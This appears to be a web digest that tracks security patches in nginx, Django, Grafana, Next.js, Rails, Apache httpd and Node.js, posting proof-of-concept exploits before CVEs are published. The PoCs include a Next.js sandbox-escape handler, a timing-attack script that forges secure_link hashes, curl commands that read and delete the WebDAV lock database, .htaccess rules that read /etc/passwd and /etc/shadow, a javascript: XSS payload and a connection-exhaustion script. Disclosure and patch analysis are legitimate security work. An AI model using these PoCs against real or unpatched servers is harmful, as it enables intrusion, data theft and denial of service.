📰 Vulnerability Spoiler Alert


“Exposing patches before CVEs since 2025”

Saturday, June 27, 2026

📋 Today’s Briefing

259
Total Findings
71
Confirmed CVEs
129
Verified
0
Unverified
59
False Positives
CRITICAL: 3 HIGH: 107 MEDIUM: 78 LOW: 12
71 CVE matched
56 found before CVE
2 avg lead (days)
27 max lead (days)

🔥 HIGH VERIFIED Use-After-Free / State Corruption via Stream Recreation

Jun 17, 2026, 02:40 PM — nginx/nginx

Commit: 9e293766e73c469c015df5341f1c1d403fb532c6

Author: Roman Arutyunyan

Before the patch, nginx HTTP/3 used `h3c->known_streams\[index\]` (a pointer that could be NULL after a stream closes) to check whether a standard unidirectional stream (control/encoder/decoder) had already been created. Because stream closure and new stream creation are asynchronous and can happen within the same event-loop iteration, a malicious client could close a control/encoder/decoder stream and immediately open a new one of the same type. The server would see `known_streams\[index\] == NULL` (set by the close handler) and allow the new stream, potentially reusing or corrupting shared parsing state such as the QPACK encoder insert buffer. The fix introduces a persistent `created_streams` bitmask that is never cleared, preventing any stream type from being registered a second time regardless of whether the previous instance was closed.

🔍 View Affected Code & PoC

Affected Code

if (h3c->known_streams[index]) {
    ngx_log_error(NGX_LOG_INFO, c->log, 0, "stream exists");
    return NGX_HTTP_V3_ERR_STREAM_CREATION_ERROR;
}
h3c->known_streams[index] = c;

Proof of Concept

1. Client opens a QUIC connection to nginx and creates the three mandatory unidirectional streams (control=0x02, encoder=0x06, decoder=0x0a).
2. Client sends a FIN on the encoder stream (stream type 0x02), causing nginx to set h3c->known_streams[NGX_HTTP_V3_STREAM_CLIENT_ENCODER] = NULL in ngx_http_v3_close_uni_stream().
3. In the same event-loop tick (before nginx processes the closure further), client opens a new QUIC unidirectional stream and sends stream-type byte 0x02 (encoder stream) again.
4. nginx evaluates `if (h3c->known_streams[NGX_HTTP_V3_STREAM_CLIENT_ENCODER])` → NULL → false, so it registers the new stream and reuses/reinitialises the QPACK encoder insert buffer shared state.
5. The attacker now controls two concurrent encoder streams; by sending crafted QPACK encoder instructions on both, they can corrupt the dynamic header table state, potentially causing out-of-bounds reads/writes in subsequent header decompression and leaking memory or crashing the worker process.
BREAKING

💣 CRITICAL VERIFIED Buffer Overflow

Jun 17, 2026, 02:40 PM — nginx/nginx

Commit: 26d824ec3a2f819300edce0ab3b055751c9843ff

Author: Roman Arutyunyan

Before this patch, nginx's HTTP/2 upstream modules (gRPC and proxy_v2) did not validate header field lengths before using them to calculate buffer sizes for HPACK encoding. An attacker could craft requests with extremely long header values (method, URI, host, or custom headers) exceeding NGX_HTTP_V2_MAX_FIELD, causing integer overflow in the `len` calculation (`1 + NGX_HTTP_V2_INT_OCTETS + very_large_value`) which would lead to under-allocation and subsequent heap buffer overflow when writing the encoded headers. The patch adds length checks that return NGX_ERROR before any buffer allocation occurs when headers exceed NGX_HTTP_V2_MAX_FIELD.

🔍 View Affected Code & PoC

Affected Code

len += 1 + NGX_HTTP_V2_INT_OCTETS + r->method_name.len;
tmp_len = r->method_name.len;
// ... later:
len += 1 + NGX_HTTP_V2_INT_OCTETS + uri_len;
// No bounds checking on these lengths before buffer allocation

Proof of Concept

Send an HTTP request through nginx to a gRPC or HTTP/2 upstream with an extremely long URI or custom header value exceeding NGX_HTTP_V2_MAX_FIELD (typically 2^24-1 or similar large value). For example:

curl -X POST 'http://nginx-server/grpc-endpoint' \
  -H 'Content-Type: application/grpc' \
  -H "X-Custom-Header: $(python3 -c 'print("A" * (2**24))' )" 

The `uri_len` or `val_len` value would cause integer overflow in `len += 1 + NGX_HTTP_V2_INT_OCTETS + uri_len`, resulting in a small allocation followed by out-of-bounds write when nginx populates the HPACK-encoded header buffer, potentially leading to remote code execution.
CONFIRMED CVE

⚠️ MEDIUM CONFIRMED CVE CVE-2026-48142 Out-of-bounds Read (Buffer Overread)

Jun 17, 2026, 02:40 PM — nginx/nginx

📈 Patch landed 3 hours 55 minutes before CVE published

Commit: 319a0bff157b15d9061f4712b2edbe6fdd2dee66

Author: Sergey Kandaurov

In nginx's charset filter module, the `recode_from_utf8()` function had a 1-byte out-of-bounds read when processing invalid UTF-8 sequences that were saved across buffer boundaries. The `ngx_utf8_decode()` function stops advancing the pointer on the first invalid byte, so when processing a partially-saved invalid UTF-8 sequence, the `saved` pointer could remain behind `ctx->saved\[ctx->saved_len\]`, causing a subsequent read of memory beyond the saved buffer. The fix ensures the pointer advances past the entire saved sequence in this case.

🔍 View Affected Code & PoC

Affected Code

ngx_log_debug0(NGX_LOG_DEBUG_HTTP, pool->log, 0,
               "http charset invalid utf 1");

    } else {

Proof of Concept

Send an HTTP response through nginx with charset conversion enabled (e.g., converting from UTF-8 to another charset like windows-1251), where the response body contains an invalid multi-byte UTF-8 sequence split across two buffer boundaries. For example, send a response body where the last byte of one buffer is 0xC0 (invalid UTF-8 start byte) followed by a continuation byte in the next buffer. This triggers the saved-sequence path with an invalid UTF-8 sequence, causing ngx_utf8_decode() to not advance the pointer, resulting in a 1-byte read past the end of the ctx->saved[] array. Configure: charset_filter_source_charset utf-8; charset windows-1251; Then send a body like: '\xc0\x80' split across buffer boundaries to trigger the overread.

⚠️ MEDIUM VERIFIED Information Disclosure / BCC Header Leak

Jun 16, 2026, 10:56 PM — django/django

Commit: 09434486302078c3649e034dfa74cf3f102db20b

Author: diaxoaine

Before the patch, passing a 'Bcc' key in the `extra_headers` argument of `EmailMessage` would cause the BCC addresses to be serialized directly into the email message headers, making them visible to all recipients. The `from`, `to`, `cc`, and `reply-to` headers were explicitly excluded from being written via `extra_headers`, but `bcc` was not, allowing it to leak into the message. The patch raises a `ValueError` when `Bcc` is found in `extra_headers`, directing users to use the `bcc` argument instead.

🔍 View Affected Code & PoC

Affected Code

for name, value in self.extra_headers.items():
    # Avoid headers handled above.
    if name.lower() not in {"from", "to", "cc", "reply-to"}:
        msg[name] = force_str(value, strings_only=True)

Proof of Concept

from django.core.mail import EmailMessage

email = EmailMessage(
    subject='Test',
    body='Hello',
    from_email='[email protected]',
    to=['[email protected]'],
    headers={'Bcc': '[email protected]'},
)
msg = email.message()
# Before patch: msg.as_string() would contain 'Bcc: [email protected]'
# visible to [email protected], defeating the purpose of BCC
print(msg.as_string())  # Exposes [email protected] to all recipients

🔥 HIGH VERIFIED Path Traversal

Jun 16, 2026, 07:54 AM — grafana/grafana

Commit: 82ef13993059351bf21de35b8488bbd9b42df4f4

Author: Mariell Hoversholm

The Loki data source plugin allowed path traversal attacks via the resource URL parameter. Before the patch, user-supplied URL segments were directly interpolated into the Loki API path without validation, allowing an attacker to use '../' sequences to escape the '/loki/api/v1/' prefix and access arbitrary backend endpoints. The fix adds URL parsing and path cleaning to reject any paths that don't remain within the '/loki/api/v1/' prefix.

🔍 View Affected Code & PoC

Affected Code

lokiURL := fmt.Sprintf("/loki/api/v1/%s", url)

ctx, span := tracer.Start(ctx, "datasource.loki.CallResource", trace.WithAttributes(
    attribute.String("url", lokiURL),
))

Proof of Concept

Send a CallResource request to the Loki datasource with url set to '../../../internal/metrics' or '%2e%2e%2f%2e%2e%2finternal/metrics'. This would construct lokiURL = '/loki/api/v1/../../../internal/metrics' which after path resolution becomes '/internal/metrics', allowing access to endpoints outside the Loki API namespace on the backend server.
BREAKING

💣 CRITICAL VERIFIED Sandbox Escape

Jun 12, 2026, 09:28 PM — vercel/next.js

Commit: 660026d50b77ccc9b119abf94894cd1cd4ff7fbf

Author: Janka Uryga

In Next.js edge runtime, the `setTimeout` and `setInterval` polyfills incorrectly used `globalThis` (the Node.js global object) instead of the sandboxed edge runtime context object when invoking callbacks via `.apply()`. This allowed malicious code running in the edge sandbox to access Node.js globals like `process.mainModule.require()` and escape the sandbox entirely, gaining access to the Node.js runtime including filesystem operations, arbitrary module loading, and other restricted APIs.

🔍 View Affected Code & PoC

Affected Code

function webSetTimeoutPolyfill(...) {
  return callback.apply(globalThis, args) // wrong: uses Node.js globalThis
}
function webSetIntervalPolyfill(...) {
  return callback.apply(globalThis, args) // wrong: uses Node.js globalThis
}

Proof of Concept

In an Edge Runtime route handler (e.g. app/route.ts with `export const runtime = 'edge'`):

export async function GET() {
  return new Promise((resolve) => {
    setTimeout(function() {
      // `this` is Node.js globalThis, not the sandbox global
      const fs = this.process.mainModule.require('fs')
      fs.writeFileSync('/tmp/pwned.txt', 'sandbox escaped!')
      resolve(new Response('escaped!'))
    })
  })
}

This writes a file to the server filesystem from within what should be an isolated edge sandbox, demonstrating full sandbox escape with access to Node.js internals.

🔥 HIGH VERIFIED Security Isolation Bypass / State Leakage

Jun 11, 2026, 04:05 PM — rails/rails

Commit: 8a55fbca4c653978cacb856784b386fe9ee8a27c

Author: Jean Boussier

In Rails applications using ActiveSupport::CurrentAttributes, declaring an attribute named `:attributes` causes the generated accessor to shadow the internal `attributes` writer that `reset` relies on. This means `reset` can no longer clear the per-request state stored in `@attributes`, causing sensitive data (user identity, account info, request context) to leak across requests. The patch replaces the hand-maintained denylist with a dynamically computed one that covers all internal methods.

🔍 View Affected Code & PoC

Affected Code

INVALID_ATTRIBUTE_NAMES = [:set, :reset, :resets, :instance, :before_reset, :after_reset, :reset_all, :clear_all].freeze # :nodoc:

Proof of Concept

require 'active_support'
require 'active_support/current_attributes'

Current = Class.new(ActiveSupport::CurrentAttributes) do
  attribute :attributes  # shadows internal #attributes= used by reset
end

Current.instance.instance_variable_set(:@attributes, { attributes: { user_id: 42 } })
Current.reset
# After reset, @attributes is NOT cleared because the generated #attributes= shadowed the internal setter
puts Current.instance.instance_variable_get(:@attributes).inspect
# => {:attributes=>{:user_id=>42}}  -- sensitive data leaked to next request

🔥 HIGH VERIFIED State Isolation Bypass / Data Leakage Across Requests

Jun 11, 2026, 02:40 PM — rails/rails

Commit: 5e75351bf21f29d879a1cb184fb90ef259be5334

Author: Kenta Ishizaki

Declaring an attribute named `:attributes` in a subclass of `ActiveSupport::CurrentAttributes` shadows the internal `attributes` reader/writer that `reset` relies on to clear per-request state. This causes `reset` to stop clearing the state, leaking values across requests — exactly the isolation `CurrentAttributes` is designed to guarantee. The patch computes the invalid attribute names dynamically from the class's own methods, preventing any attribute declaration that would shadow internal methods.

🔍 View Affected Code & PoC

Affected Code

INVALID_ATTRIBUTE_NAMES = [:set, :reset, :resets, :instance, :before_reset, :after_reset, :reset_all, :clear_all].freeze # :nodoc:

Proof of Concept

require 'active_support'
require 'active_support/current_attributes'

C = Class.new(ActiveSupport::CurrentAttributes) do
  attribute :attributes  # shadows internal @attributes accessor
end

C.attributes = { user_id: 42, admin: true }
puts C.attributes.inspect  # => { user_id: 42, admin: true }
C.reset
puts C.attributes.inspect  # => { user_id: 42, admin: true } (NOT cleared!)
# State leaks across requests because reset calls `self.attributes = defaults`
# but the generated accessor has overwritten the internal one.

🔥 HIGH VERIFIED Buffer Overflow (Off-by-One)

Jun 11, 2026, 11:38 AM — apache/httpd

Commit: 8e210c28a1dfd84a1e9c4fb8fd3d646619639dfd

Author: Joe Orton

An off-by-one error in the socket path truncation logic in cgid_init() caused a one-byte buffer overflow when writing the null terminator. Before the patch, `tmp_sockname\[sizeof(server_addr->sun_path)\]` wrote a null byte one position past the end of the `sun_path` field in the `sockaddr_un` structure, corrupting adjacent memory. The patch corrects this to `tmp_sockname\[sizeof(server_addr->sun_path) - 1\]`, which properly null-terminates within bounds.

🔍 View Affected Code & PoC

Affected Code

if (strlen(tmp_sockname) > sizeof(server_addr->sun_path) - 1) {
    tmp_sockname[sizeof(server_addr->sun_path)] = '\0';

Proof of Concept

Configure Apache httpd with mod_cgid and set ScriptSock to a path exactly equal to sizeof(sun_path) characters (typically 108 bytes on Linux). When cgid_init() processes this path, it detects it's too long and attempts truncation by writing a null byte at index sizeof(server_addr->sun_path) (e.g., index 108), which is one byte past the end of the sun_path array (valid indices 0-107). This overwrites the first byte of whatever field follows sun_path in the sockaddr_un structure or adjacent heap/stack memory. Example: set ScriptSock to a 108-character path like '/tmp/AAAA...AAAA' (108 A's) in httpd.conf - the null write at offset 108 corrupts memory adjacent to the sun_path buffer.

🔥 HIGH VERIFIED Heap Buffer Overflow

Jun 11, 2026, 11:38 AM — apache/httpd

Commit: 489f5ef688fedb0139b4428bc04d0e18493e430f

Author: Joe Orton

In mod_cgid.c, `temp_core` was allocated using `sizeof(core_module)` instead of `sizeof(core_request_config)`. Since `core_module` is a module descriptor struct (typically much smaller than `core_request_config`), this results in allocating too little memory for the `core_request_config` structure. Subsequent writes to fields of `temp_core` beyond the allocated size would corrupt adjacent heap memory, potentially leading to crashes or memory corruption exploitable for privilege escalation or code execution.

🔍 View Affected Code & PoC

Affected Code

temp_core = (core_request_config *)apr_palloc(r->pool, sizeof(core_module));

Proof of Concept

Send a CGI request via mod_cgid that triggers get_req() to process a request. The daemon allocates sizeof(core_module) bytes (e.g., ~80 bytes on 64-bit) for a core_request_config struct (which is much larger). When the code writes fields like body_indeterminate, use_default_accept_ranges, etc. into temp_core, it overflows into adjacent pool memory. A crafted request that causes extensive use of core_request_config fields post-allocation could corrupt heap metadata or adjacent allocations, potentially causing a crash (DoS) or exploitable memory corruption in the cgid daemon process.

🔥 HIGH VERIFIED Heap Buffer Overflow / Memory Corruption

Jun 11, 2026, 11:37 AM — apache/httpd

Commit: d7ac43a29f73ed60dcb322abad41a93a10394784

Author: Joe Orton

Before the patch, the `get_req` function in mod_cgid read environment variable lengths (`curlen`) from a Unix socket without validating the size before allocating and reading into a buffer. A malicious or compromised cgid daemon (or a process that hijacked the socket) could send an extremely large `curlen` value, causing `apr_pcalloc` to allocate a huge buffer or triggering integer issues, and then reading that many bytes from the socket into the allocated region. Additionally, `uri_len` and `args_len` had no upper bound checks, and `env_count` was signed allowing negative values to bypass the `env_count < 0` check in certain scenarios. The patch adds `ENV_COUNT_MAX` (256) bound on env_count, upper bounds on uri_len and args_len (APR_PATH_MAX), and per-variable length validation (`curlen > APR_PATH_MAX`) in the environment reading loop.

🔍 View Affected Code & PoC

Affected Code

if (req->env_count < 0 || req->uri_len == 0
        || req->filename_len > APR_PATH_MAX || req->filename_len == 0
        || req->argv0_len > APR_PATH_MAX || req->argv0_len == 0
        || req->loglevel > APLOG_TRACE8) {
        return APR_EINVAL;
    }

Proof of Concept

A malicious client connecting to the cgid Unix socket sends a crafted cgid_req_t with env_count=1, valid filename/argv0/uri lengths, then sends a single environment variable with curlen=0xFFFFFFFF (4GB). The server calls `apr_pcalloc(r->pool, 0xFFFFFFFF + 1)` which wraps to 0 or allocates a tiny buffer, then `sock_read(fd, environ[0], 0xFFFFFFFF)` reads ~4GB into that tiny allocation, causing heap corruption. Exploit: craft socket message with env var length field set to `\xff\xff\xff\xff` (or large value exceeding APR_PATH_MAX) to trigger heap overflow in the worker process.

⚠️ MEDIUM VERIFIED Timing Side-Channel / Hash Comparison Timing Attack

Jun 10, 2026, 08:10 PM — nginx/nginx

Commit: bedf18f95d76b93d15335dee8c642b86e6baeac2

Author: Sergey Kandaurov

The nginx secure_link module used early-exit byte-by-byte MD5 hash comparison (ngx_memcmp and individual byte checks), which leaks timing information about how many bytes of the hash match. An attacker can exploit response time differences to incrementally determine the correct hash value byte-by-byte, eventually forging valid secure links without knowing the secret key. The patch replaces the comparison with a constant-time XOR accumulation that always examines all 16 bytes before returning a result.

🔍 View Affected Code & PoC

Affected Code

if (ngx_memcmp(hash_buf, md5_buf, 16) != 0) {
    goto not_found;
}

Proof of Concept

# Timing attack to recover valid secure link hash without knowing secret:
# For each byte position i (0-15), try all 256 possible hex byte values.
# Measure response time for each candidate - the correct byte value
# will take measurably longer to reject (or accept) due to early-exit comparison.
#
# Example script:
import requests, time, statistics

target = 'http://example.com/s/TOKEN/resource'
# For old-style secure_link, hash is hex-encoded in URL path
# Attacker measures timing for partial matches:
for byte_val in range(256):
    candidate = f'{byte_val:02x}' + 'xx' * 15  # vary first byte
    times = []
    for _ in range(100):
        start = time.perf_counter()
        r = requests.get(f'http://example.com/s/{candidate}/file')
        times.append(time.perf_counter() - start)
    print(f'{byte_val:02x}: avg={statistics.mean(times):.6f}s')
# The byte value with the highest avg response time reveals the correct first byte.
# Repeat for each subsequent byte position to recover the full 32-hex-char hash.

🔥 HIGH VERIFIED Broken Access Control / Authorization Bypass

Jun 10, 2026, 08:06 AM — grafana/grafana

Commit: d4f2ee742b336ba3d550e5d84a273312fc8ca575

Author: Mihai Turdean

When Zanzana resolved permissions and mapped them back to legacy RBAC format, the scope was derived from the action prefix rather than the resource type. For sub-resource actions like `folders.permissions:read`, this produced `folders.permissions:uid:&lt;uid&gt;` instead of `folders:uid:&lt;uid&gt;`. Since legacy RBAC's `canAdmin` check evaluates `EvalPermission(folders.permissions:read, folders:uid:&lt;uid&gt;)`, the scope never matched and a user with admin rights on a folder could not manage that folder's permissions even though they were authorized to do so. The fix scopes objects by the resource type Zanzana listed them under, ensuring correct permission matching.

🔍 View Affected Code & PoC

Affected Code

func scopeFromAction(action, name string) string {
	parts := strings.SplitN(action, ":", 2)
	if parts[0] == "" {
		return name
	}
	return ac.Scope(parts[0], "uid", name)
}

Proof of Concept

1. Grant user Alice 'admin' on folder uid='folder-123' in Zanzana.
2. Zanzana maps this to permissions including action='folders.permissions:read' scoped on 'folders.permissions:uid:folder-123'.
3. Legacy RBAC canAdmin check evaluates: EvalPermission('folders.permissions:read', 'folders:uid:folder-123').
4. The scope 'folders.permissions:uid:folder-123' != 'folders:uid:folder-123', so the check FAILS.
5. Result: Alice cannot manage permissions on folder-123 despite having admin rights, AND conversely, if an attacker could craft a token referencing 'folders.permissions:uid:X', they might match unintended permission checks that also use that malformed scope prefix.

🔥 HIGH VERIFIED Path Traversal

Jun 9, 2026, 03:52 PM — django/django

Commit: 46c5e76f0bcc76bfce19ad7ba07f716fc653a822

Author: ar3ph

When Django's `startproject` or `startapp` command downloads a template archive from a URL, the Content-Disposition header's filename was used directly with `os.path.join()` to construct a path within a temp directory. An attacker-controlled server could return a filename like `/nonexistent/../../etc/passwd` or an absolute path, causing the file to be written outside the intended temporary directory. The fix replaces `os.path.join()` with `safe_join()`, which raises `SuspiciousFileOperation` if the resulting path escapes the base directory.

🔍 View Affected Code & PoC

Affected Code

guessed_path = os.path.join(tempdir, guessed_filename)

Proof of Concept

Set up a malicious HTTP server that responds to template download requests with: `Content-Disposition: attachment; filename="/tmp/evil_file.tgz"`. Then run: `django-admin startproject --template http://malicious-server/template.tgz myproject`. Before the patch, `os.path.join('/tmp/tmpXXX', '/tmp/evil_file.tgz')` returns `/tmp/evil_file.tgz` (absolute path wins), causing `shutil.move()` to write the archive to an attacker-specified path outside the temp directory, potentially overwriting arbitrary files writable by the user.
CONFIRMED CVE

⚠️ MEDIUM CONFIRMED CVE CVE-2026-35193 Cache Poisoning / Improper Cache Control Bypass

Jun 9, 2026, 02:56 PM — django/django

Patch landed 5 days 23 hours 26 minutes after CVE published

Commit: 142b881cecaddc334cabec139e701c0e4b9798da

Author: Jacob Walls

The UpdateCacheMiddleware used a substring check (`directive in cache_control`) to detect Cache-Control directives like 'private', 'no-cache', 'no-store', and 'public'. This meant that an extension directive like 'myprivate' or 'nopublic' would be falsely matched, causing responses that should be cached to not be cached, or causing Authorization-based Vary headers to be incorrectly omitted. More critically, the inverse case for 'public' means that a response with a custom directive containing 'public' as a substring would skip the Authorization vary header, potentially serving a user-specific cached response to other users. The fix replaces substring matching with exact token matching using `split_header_value`.

🔍 View Affected Code & PoC

Affected Code

if cache_control and any(
    directive in cache_control
    for directive in (
        "private",
        "no-cache",
        "no-store",
    )
):

Proof of Concept

# An attacker or misconfigured app sets a Cache-Control header with a custom directive
# containing 'public' as a substring, e.g., 'nopublic':
#
# Response headers: Cache-Control: nopublic
# Request has Authorization header
#
# Before patch: 'public' in 'nopublic' == True, so the Authorization Vary header
# is NOT added, meaning the response may be cached and served to other users
# without varying on the Authorization header.
#
# Concrete test:
import requests
# Craft response with Cache-Control: nopublic
# GET /sensitive-view/ with Authorization: token abc123
# Django caches response without Vary: Authorization
# Second request from different user also gets the first user's cached response

⚠️ MEDIUM VERIFIED Sensitive Data Exposure / Secret Redaction Bypass

Jun 8, 2026, 07:54 PM — grafana/grafana

Commit: d0fa74cf094dc2e32db9f3e0007f951850bee14e

Author: Khalil Haji

Before the patch, the contact point settings redaction logic used case-sensitive key matching when identifying secret fields to redact. An attacker or user with write access could submit secret field keys with non-canonical casing (e.g., 'INTEGRATIONKEY' instead of 'integrationKey') to bypass redaction, causing the plaintext secret to be returned in API responses instead of being redacted. The patch makes the field extraction and redaction logic case-insensitive so secrets are properly identified and redacted regardless of key casing.

🔍 View Affected Code & PoC

Affected Code

func extractField(settings map[string]any, path schema.IntegrationFieldPath) (string, bool, error) {
	val, ok := settings[path.Head()]
	if !ok {
		return "", false, nil
	}

Proof of Concept

POST /api/v1/provisioning/contact-points with body: {"name": "test", "type": "pagerduty", "settings": {"INTEGRATIONKEY": "my-secret-key", "severity": "critical"}}. When subsequently GET /api/v1/provisioning/contact-points is called, the response would include {"settings": {"INTEGRATIONKEY": "my-secret-key"}} in plaintext instead of redacting it, because the redaction logic only matched the canonical key name 'integrationKey' (exact case) and failed to match 'INTEGRATIONKEY'.

🔥 HIGH VERIFIED Memory Accounting Bypass / Denial of Service

Jun 8, 2026, 11:53 AM — nodejs/node

Commit: ba82a4124a597908c1dbbf1819628c04bad4ca06

Author: Matteo Collina

Before this patch, when HTTP/2 header blocks were handed off to JavaScript (via HandleHeadersFrame), the memory they occupied was immediately decremented from the session's memory accounting (maxSessionMemory), even though the JS objects could still hold references to that header data for the lifetime of the stream. This meant an attacker could send many requests with large headers, and once the headers were dispatched to JS, that memory would no longer count against the session limit, allowing effectively unlimited memory consumption. The patch fixes this by retaining the header memory charge until the stream is removed from the session.

🔍 View Affected Code & PoC

Affected Code

DecrementCurrentSessionMemory(stream->current_headers_length_);
stream->current_headers_length_ = 0;

Proof of Concept

Connect to a Node.js HTTP/2 server with maxSessionMemory=1 (1MB limit), set initialWindowSize=0 (to stall DATA frames and keep streams alive), then send hundreds of requests each with large cookie headers (e.g., 120 'cookie: a=1' headers). Before the patch, each request's headers are decremented from session memory immediately after being dispatched to JS, so the server never rejects new streams with ENHANCE_YOUR_CALM despite exceeding the memory limit. This allows an attacker to consume unbounded server memory, causing OOM. The test added in this commit (test-http2-max-session-memory-stalled-headers.js) demonstrates the exploit: 400 requests with 120 cookie headers each, with window size 0 to keep streams stalled — before the patch, rejected would remain 0 and memory would grow unboundedly.

🔥 HIGH VERIFIED Cross-Site Scripting (XSS)

Jun 8, 2026, 09:50 AM — grafana/grafana

Commit: 512eb3fc36f289016f9c4c1f20779976e73d70f8

Author: Alex Khomenko

The LinkButton component in @grafana/ui rendered an &lt;a&gt; element with the href prop passed directly without sanitization. An attacker could inject a javascript: URL as the href value, which would execute arbitrary JavaScript when a user clicked the link. The patch extracts href from the spread props, sanitizes it via textUtil.sanitizeUrl (which neutralizes dangerous schemes like javascript:, data:, and vbscript: to about:blank), and places the sanitized value after {...otherProps} so it always wins.

🔍 View Affected Code & PoC

Affected Code

<a
  className={linkButtonStyles}
  {...otherProps}
  tabIndex={disabled ? -1 : 0}
  aria-disabled={disabled}
  ref={tooltip ? undefined : ref}

Proof of Concept

Render <LinkButton href="javascript:alert(document.cookie)">Click me</LinkButton> — before the patch, clicking the rendered anchor would execute alert(document.cookie) in the browser context. Any Grafana plugin or dashboard component that passes user-controlled or backend-sourced URLs to LinkButton is vulnerable to this XSS vector.

⚠️ MEDIUM VERIFIED Information Disclosure / Path Traversal via File Functions

Jun 5, 2026, 10:27 AM — apache/httpd

Commit: 0bc2ece957a4461978a5ff14f24182a3be05eed9

Author: Eric Covener

In .htaccess (per-directory) context, modules like mod_rewrite, mod_setenvif, and mod_proxy_fcgi allowed use of file-reading expression functions (file(), filesize(), filemod()) and file-test operators (-d, -e, -f, -s, -L, -h, -x) without restriction. An attacker who could place or modify an .htaccess file could use these functions to read arbitrary filesystem content (e.g., file('/etc/passwd')) or probe file existence/properties outside the web root. The patch centralizes the restriction by applying AP_EXPR_FLAG_RESTRICTED_FILE_FUNC in ap_expr_parse_cmd_mi() whenever the context is htaccess (cmd-&gt;pool == cmd-&gt;temp_pool), blocking these filesystem-exposing functions.

🔍 View Affected Code & PoC

Affected Code

/* Use restricted ap_expr() parser in htaccess context. */
if (cmd->pool == cmd->temp_pool) {
    flags |= AP_EXPR_FLAG_RESTRICTED;
}

Proof of Concept

Place the following in an .htaccess file in any directory the attacker controls on the server:

  RewriteEngine On
  RewriteCond "%{file:/etc/passwd}" "root"
  RewriteRule ^ /leaked [R=200,L]

Or in mod_setenvif context:
  SetEnvIfExpr "%{file:/etc/shadow}" =~ /root/ SHADOW_LEAKED=1

Before the patch, these expressions would be evaluated without restriction in .htaccess context, allowing the contents of arbitrary files to be read and used in conditional logic, effectively leaking filesystem contents via HTTP response behavior.

⚠️ MEDIUM VERIFIED Denial of Service / Excessive Memory Allocation

Jun 5, 2026, 10:17 AM — apache/httpd

Commit: 52cb79b19e110bdd42bffc696844f801fb3c4a2d

Author: Eric Covener

In `ap_regname`, the capture group index was read from the PCRE name table without bounds checking. A regex with a very large capture group number (up to 65535, as PCRE allows) would cause `apr_array_push` to be called in a tight loop up to 65535 times, allocating excessive memory. The patch adds a sanity check limiting capture group indices to 1024, returning -1 for unreasonably large values, and callers now propagate this as a configuration error.

🔍 View Affected Code & PoC

Affected Code

int capture = ((offset[0] << 8) + offset[1]);
while (names->nelts <= capture) {
    apr_array_push(names);
}

Proof of Concept

In an Apache httpd configuration file, use a <Directory> or <Location> block with a regex containing a large named capture group number. Because PCRE internally numbers named groups, a specially crafted regex (e.g., using (?P<name>...) nested deeply or via a compiled regex where the name table entry encodes a large index like 0xFF 0xFF) could encode capture=65535, causing the loop `while (names->nelts <= 65535) apr_array_push(names);` to allocate ~65535 array entries. Example: compile a regex externally where the nametable entry has bytes [0xFF, 0xFF, 'n', 'a', 'm', 'e', 0], then use it in a ProxyMatch/DirectoryMatch directive to trigger OOM during server startup/config parsing.
CONFIRMED CVE

🔥 HIGH CONFIRMED CVE CVE-2026-42535 Path Traversal / Unauthorized Access to DAV State Directory

Jun 5, 2026, 10:09 AM — apache/httpd

📈 Patch landed 3 days 8 hours 22 minutes before CVE published

Commit: 7e871beec56d41fe098f48f5a5bcb1525c448d77

Author: Eric Covener

Before this patch, the DAV filesystem repository handler (dav_fs_get_resource) had no check preventing WebDAV clients from directly accessing or manipulating the internal DAV state directory (DAV_FS_STATE_DIR, typically '.DAV'). This directory contains lock database files and other internal state. An attacker could use WebDAV methods (GET, PUT, DELETE, PROPFIND, etc.) to read, modify, or delete these internal state files, potentially corrupting the lock database, bypassing WebDAV locks, or leaking sensitive server-side state. The patch adds an explicit check that denies access when the requested path's filename or parent directory name matches DAV_FS_STATE_DIR.

🔍 View Affected Code & PoC

Affected Code

ctx->pathname = s;

    /* Create resource descriptor */

Proof of Concept

# Attacker directly accesses the DAV state directory to read or modify lock database:
curl -X PROPFIND http://victim/webdav/.DAV/ -H 'Depth: 1'
# Or to read the lock database file:
curl http://victim/webdav/.DAV/DAVLock
# Or to delete the lock database, bypassing all existing WebDAV locks:
curl -X DELETE http://victim/webdav/.DAV/DAVLock
# Or to access a resource inside the state dir:
curl -X GET http://victim/webdav/subdir/.DAV/DAVLock

⚠️ MEDIUM VERIFIED Integer Overflow

Jun 5, 2026, 09:36 AM — apache/httpd

Commit: 541dc008b38079dc71ef663d4dc9f272a71ce50c

Author: Joe Orton

The code before the patch contained integer overflow vulnerabilities in bounds checking for line length validation in mod_substitute. When checking `vb.strlen + len + replen &gt; cfg-&gt;max_line_length`, if the sum of these apr_size_t values overflowed, the comparison would yield a false result, allowing the write to proceed even when the combined length exceeded the max_line_length limit. The patch fixes this by restructuring the comparisons to avoid overflow: checking each addend individually against the remaining space.

🔍 View Affected Code & PoC

Affected Code

if (vb.strlen + len + replen > cfg->max_line_length)
    return APR_ENOMEM;
...
if (space_left < len + replen)
    return APR_ENOMEM;

Proof of Concept

Configure Apache with mod_substitute and a Substitute directive. Send a response body where the pattern matches repeatedly, such that the replacement accumulates. Craft a scenario where vb.strlen is near SIZE_MAX and len + replen wraps around to a small value: e.g., vb.strlen = 0xFFFFFFFFFFFFFF00, len = 0x80, replen = 0x80 -> sum overflows to a small value < max_line_length, bypassing the check. In practice, exploit by crafting content that triggers many substitutions causing the internal varbuf to grow beyond max_line_length, potentially leading to excessive memory allocation / denial of service.

⚠️ MEDIUM VERIFIED Denial of Service (Resource Exhaustion)

Jun 5, 2026, 09:27 AM — nodejs/node

Commit: d3a822a947d67324aaf16f04146ea40d4950bfcd

Author: semimikoh

Before the patch, `closeIdleConnections()` only considered connections with `last_message_start_ == 0` as idle, meaning connections that had been established but hadn't yet sent any data (pre-request phase) were not included. An attacker could establish many TCP connections without sending any HTTP data, keeping them open and preventing the server from closing them via `closeIdleConnections()`, leading to resource exhaustion. The patch adds a `received_data_` flag so connections that have not yet sent data are also treated as idle and properly closed.

🔍 View Affected Code & PoC

Affected Code

if (parser->last_message_start_ == 0) {
  result.emplace_back(parser->object());
}

Proof of Concept

// Attacker opens many TCP connections to the HTTP server without sending data
const net = require('net');
const sockets = [];
for (let i = 0; i < 1000; i++) {
  const s = net.createConnection(port, '127.0.0.1');
  sockets.push(s);
}
// Server operator calls server.closeIdleConnections() expecting all idle sockets to be closed
// Before patch: none of these sockets are closed because last_message_start_ is not 0 yet
// (it gets set when the parser is assigned to the connections list, but received_data_ tracks whether data arrived)
// Result: sockets remain open, consuming server resources indefinitely
CONFIRMED CVE

⚠️ MEDIUM CONFIRMED CVE CVE-2026-29170 Cross-Site Scripting (XSS)

Jun 4, 2026, 03:48 PM — apache/httpd

📈 Patch landed 4 days 2 hours 43 minutes before CVE published

